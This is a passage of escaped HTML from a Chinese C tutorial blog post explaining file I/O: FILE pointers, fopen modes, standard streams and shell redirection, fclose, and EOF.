指针,相当于获取一块内存区域,用来保存文件信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例定义了一个 FILE 指针\u003ccode\u003efp\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个读取文件的完整示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fp == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,新建文件指针\u003ccode\u003efp\u003c/code\u003e以后,依次使用了下面三个文件操作函数,分成三个步骤。其他的文件操作,大致上也是这样的步骤。\u003c/p\u003e\u003cp\u003e第一步,使用\u003ccode\u003efopen()\u003c/code\u003e打开指定文件,返回一个 File 指针。如果出错,返回 NULL。\u003c/p\u003e\u003cp\u003e它相当于将指定文件的信息与新建的文件指针\u003ccode\u003efp\u003c/code\u003e相关联,在 FILE 结构内部记录了这样一些信息:文件内部的当前读写位置、读写报错的记录、文件结尾指示器、缓冲区开始位置的指针、文件标识符、一个计数器(统计拷贝进缓冲区的字节数)等等。后继的操作就可以使用这个指针(而不是文件名)来处理指定文件。\u003c/p\u003e\u003cp\u003e同时,它还为文件建立一个缓存区。由于存在缓存区,也可以说\u003ccode\u003efopen()\u003c/code\u003e函数“打开一个了流”,后继的读写文件都是流模式。\u003c/p\u003e\u003cp\u003e第二步,使用读写函数,从文件读取数据,或者向文件写入数据。上例使用了\u003ccode\u003efgetc()\u003c/code\u003e函数,从已经打开的文件里面,读取一个字符。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e一调用,文件的数据块先拷贝到缓冲区。不同的计算机有不同的缓冲区大小,一般是512字节或是它的倍数,如4096或16384。随着计算机硬盘容量越来越大,缓冲区也越来越大。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e从缓冲区读取数据,同时将文件指针内部的读写位置指示器,指向所读取字符的下一个字符。所有的文件读取函数都使用相同的缓冲区,后面再调用任何一个读取函数,都将从指示器指向的位置,即上一次读取函数停止的位置开始读取。\u003c/p\u003e\u003cp\u003e当读取函数发现已读完缓冲区里面的所有字符时,会请求把下一个缓冲区大小的数据块,从文件拷贝到缓冲区中。读取函数就以这种方式,读完文件的所有内容,直到文件结尾。不过,上例是只从缓存区读取一个字符。当函数在缓冲区里面,读完文件的最后一个字符时,就把 FILE 结构里面的文件结尾指示器设置为真。于是,下一次再调用读取函数时,会返回常量 EOF。EOF 是一个整数值,代表文件结尾,一般是\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e第三步,\u003ccode\u003efclose()\u003c/code\u003e关闭文件,同时清空缓存区。\u003c/p\u003e\u003cp\u003e上面是文件读取的过程,文件写入也是类似的方式,先把数据写入缓冲区,当缓冲区填满后,缓存区的数据将被转移到文件中。\u003c/p\u003e\u003ch3 id=\"fopen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fopen\" class=\"headerlink\" title=\"fopen()\"\u003e\u003c/a\u003efopen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e函数用来打开文件。所有文件操作的第一步,都是使用\u003ccode\u003efopen()\u003c/code\u003e打开指定文件。这个函数的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003efopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。第一个参数是文件名(可以包含路径),第二个参数是模式字符串,指定对文件执行的操作,比如下面的例子中,\u003ccode\u003er\u003c/code\u003e表示以读取模式打开文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;in.dat\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e成功打开文件以后,\u003ccode\u003efopen()\u003c/code\u003e返回一个 FILE 指针,其他函数可以用这个指针操作文件。如果无法打开文件(比如文件不存在或没有权限),会返回空指针 NULL。所以,执行\u003ccode\u003efopen()\u003c/code\u003e以后,最好判断一下,有没有打开成功。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fp == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Can\u0026#39;t open file!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果\u003ccode\u003efopen()\u003c/code\u003e返回一个空指针,程序就会报错。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e的模式字符串有以下几种。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003er\u003c/code\u003e:读模式,只用来读取数据。如果文件不存在,返回 NULL 指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew\u003c/code\u003e:写模式,只用来写入数据。如果文件存在,文件长度会被截为0,然后再写入;如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ea\u003c/code\u003e:写模式,只用来在文件尾部追加数据。如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003er+\u003c/code\u003e:读写模式。如果文件存在,指针指向文件开始处,可以在文件头部添加数据。如果文件不存在,返回 NULL 指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew+\u003c/code\u003e:读写模式。如果文件存在,文件长度会被截为0,然后再写入数据。这种模式实际上读不到数据,反而会擦掉数据。如果文件不存在,则创建该文件。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ea+\u003c/code\u003e:读写模式。如果文件存在,指针指向文件结尾,可以在现有文件末尾添加内容。如果文件不存在,则创建该文件。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上一小节说过,\u003ccode\u003efopen()\u003c/code\u003e函数会为打开的文件创建一个缓冲区。读模式下,创建的是读缓存区;写模式下,创建的是写缓存区;读写模式下,会同时创建两个缓冲区。C 语言通过缓存区,以流的形式,向文件读写数据。\u003c/p\u003e\u003cp\u003e数据在文件里面,都是以二进制形式存储。但是,读取的时候,有不同的解读方法:以原本的二进制形式解读,叫做“二进制流”;将二进制数据转成文本,以文本形式解读,叫做“文本流”。写入操作也是如此,分成以二进制写入和以文本写入,后者会多一个文本转二进制的步骤。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efopen()\u003c/code\u003e的模式字符串,默认是以文本流读写。如果添加\u003ccode\u003eb\u003c/code\u003e后缀(表示 binary),就会以“二进制流”进行读写。比如,\u003ccode\u003erb\u003c/code\u003e是读取二进制数据模式,\u003ccode\u003ewb\u003c/code\u003e是写入二进制数据模式。\u003c/p\u003e\u003cp\u003e模式字符串还有一个\u003ccode\u003ex\u003c/code\u003e后缀,表示独占模式(exclusive)。如果文件已经存在,则打开文件失败;如果文件不存在,则新建文件,打开后不再允许其他程序或线程访问当前文件。比如,\u003ccode\u003ewx\u003c/code\u003e表示以独占模式写入文件,如果文件已经存在,就会打开失败。\u003c/p\u003e\u003ch3 id=\"标准流\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86%E6%B5%81\" class=\"headerlink\" title=\"标准流\"\u003e\u003c/a\u003e标准流\u003c/h3\u003e\u003cp\u003eLinux 系统默认提供三个已经打开的文件,它们的文件指针如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003estdin\u003c/code\u003e(标准输入):默认来源为键盘,文件指针编号为\u003ccode\u003e0\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003estdout\u003c/code\u003e(标准输出):默认目的地为显示器,文件指针编号为\u003ccode\u003e1\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003estderr\u003c/code\u003e(标准错误):默认目的地为显示器,文件指针编号为\u003ccode\u003e2\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eLinux 系统的文件,不一定是数据文件,也可以是设备文件,即文件代表一个可以读或写的设备。文件指针\u003ccode\u003estdin\u003c/code\u003e默认是把键盘看作一个文件,读取这个文件,就能获取用户的键盘输入。同理,\u003ccode\u003estdout\u003c/code\u003e和\u003ccode\u003estderr\u003c/code\u003e默认是把显示器看作一个文件,将程序的运行结果写入这个文件,用户就能看到运行结果了。它们的区别是,\u003ccode\u003estdout\u003c/code\u003e写入的是程序的正常运行结果,\u003ccode\u003estderr\u003c/code\u003e写入的是程序的报错信息。\u003c/p\u003e\u003cp\u003e这三个输入和输出渠道,是 Linux 默认提供的,所以分别称为标准输入(stdin)、标准输出(stdout)和标准错误(stderr)。因为它们的实现是一样的,都是文件流,所以合称为“标准流”。\u003c/p\u003e\u003cp\u003eLinux 允许改变这三个文件指针(文件流)指向的文件,这称为重定向(redirection)。\u003c/p\u003e\u003cp\u003e如果标准输入不绑定键盘,而是绑定其他文件,可以在文件名前面加上小于号\u003ccode\u003e\u0026lt;\u003c/code\u003e,跟在程序名后面。这叫做“输入重定向”(input redirection)。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026lt; in.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdin\u003c/code\u003e,将指向文件\u003ccode\u003ein.dat\u003c/code\u003e,即从\u003ccode\u003ein.dat\u003c/code\u003e获取数据。\u003c/p\u003e\u003cp\u003e如果标准输出绑定其他文件,而不是显示器,可以在文件名前加上大于号\u003ccode\u003e\u0026gt;\u003c/code\u003e,跟在程序名后面。这叫做“输出重定向”(output redirection)。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e,将指向文件\u003ccode\u003eout.dat\u003c/code\u003e,即向\u003ccode\u003eout.dat\u003c/code\u003e写入数据。\u003c/p\u003e\u003cp\u003e输出重定向\u003ccode\u003e\u0026gt;\u003c/code\u003e会先擦去\u003ccode\u003eout.dat\u003c/code\u003e的所有原有的内容,然后再写入。如果希望写入的信息追加在\u003ccode\u003eout.dat\u003c/code\u003e的结尾,可以使用\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e符号。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt;\u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e,将向文件\u003ccode\u003eout.dat\u003c/code\u003e写入数据。与\u003ccode\u003e\u0026gt;\u003c/code\u003e不同的是,写入的开始位置是\u003ccode\u003eout.dat\u003c/code\u003e的文件结尾。\u003c/p\u003e\u003cp\u003e标准错误的重定向符号是\u003ccode\u003e2\u0026gt;\u003c/code\u003e。其中的\u003ccode\u003e2\u003c/code\u003e代表文件指针的编号,即\u003ccode\u003e2\u0026gt;\u003c/code\u003e表示将2号文件指针的写入,重定向到\u003ccode\u003eerr.txt\u003c/code\u003e。2号文件指针就是标准错误\u003ccode\u003estderr\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edemo \u0026gt; out.dat 2\u0026gt; err.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edemo\u003c/code\u003e程序代码里面的\u003ccode\u003estderr\u003c/code\u003e,会向文件\u003ccode\u003eerr.txt\u003c/code\u003e写入报错信息。而\u003ccode\u003estdout\u003c/code\u003e向文件\u003ccode\u003eout.dat\u003c/code\u003e写入。\u003c/p\u003e\u003cp\u003e输入重定向和输出重定向,也可以结合在一条命令里面。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ demo \u0026lt; in.dat \u0026gt; out.dat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// or\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ demo \u0026gt; out.dat \u0026lt; in.dat\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e重定向还有另一种情况,就是将一个程序的标准输出\u003ccode\u003estdout\u003c/code\u003e,指向另一个程序的标准输入\u003ccode\u003estdin\u003c/code\u003e,这时要使用\u003ccode\u003e|\u003c/code\u003e符号。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erandom | \u003cspan class=\"built_in\"\u003esum\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003erandom\u003c/code\u003e程序代码里面的\u003ccode\u003estdout\u003c/code\u003e的写入,会从\u003ccode\u003esum\u003c/code\u003e程序代码里面的\u003ccode\u003estdin\u003c/code\u003e被读取。\u003c/p\u003e\u003ch3 id=\"fclose\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fclose\" class=\"headerlink\" title=\"fclose()\"\u003e\u003c/a\u003efclose()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efclose()\u003c/code\u003e用来关闭已经使用\u003ccode\u003efopen()\u003c/code\u003e打开的文件。它的原型定义在\u003ccode\u003estdin.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efclose\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针\u003ccode\u003efp\u003c/code\u003e作为参数。如果成功关闭文件,\u003ccode\u003efclose()\u003c/code\u003e函数返回整数\u003ccode\u003e0\u003c/code\u003e;如果操作失败(比如磁盘已满,或者出现 I/O 错误),则返回一个特殊值 EOF(详见下一小节)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fclose(fp) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Something wrong.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不再使用的文件,都应该使用\u003ccode\u003efclose()\u003c/code\u003e关闭,否则无法释放资源。一般来说,系统对同时打开的文件数量有限制,及时关闭文件可以避免超过这个限制。\u003c/p\u003e\u003ch3 id=\"EOF\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#EOF\" class=\"headerlink\" title=\"EOF\"\u003e\u003c/a\u003eEOF\u003c/h3\u003e\u003cp\u003eC 语言的文件操作函数的设计是,如果遇到文件结尾,就返回一个特殊值。程序接收到这个特殊值,就知道已经到达文件结尾了。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003estdio.h\u003c/code\u003e为这个特殊值定义了一个宏\u003ccode\u003eEOF\u003c/code\u003e(end of file 的缩写),它的值一般是\u003ccode\u003e-1\u003c/code\u003e。这是因为从文件读取的二进制值,不管作为无符号数字解释,还是作为 ASCII 码解释,都不可能是负值,所以可以很安全地返回\u003ccode\u003e-1\u003c/code\u003e,不会跟文件本身的数据相冲突。\u003c/p\u003e\u003cp\u003e需要注意的是,不像字符串结尾真的存储了\u003ccode\u003e\\0\u003c/code\u003e这个值,\u003ccode\u003eEOF\u003c/code\u003e并不存储在文件结尾,文件中并不存在这个值,完全是文件操作函数发现到达了文件结尾,而返回这个值。\u003c/p\u003e\u003ch3 id=\"freopen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#freopen\" class=\"headerlink\" title=\"freopen()\"\u003e\u003c/a\u003efreopen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e用于新打开一个文件,直接关联到某个已经打开的文件指针。这样可以复用文件指针。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 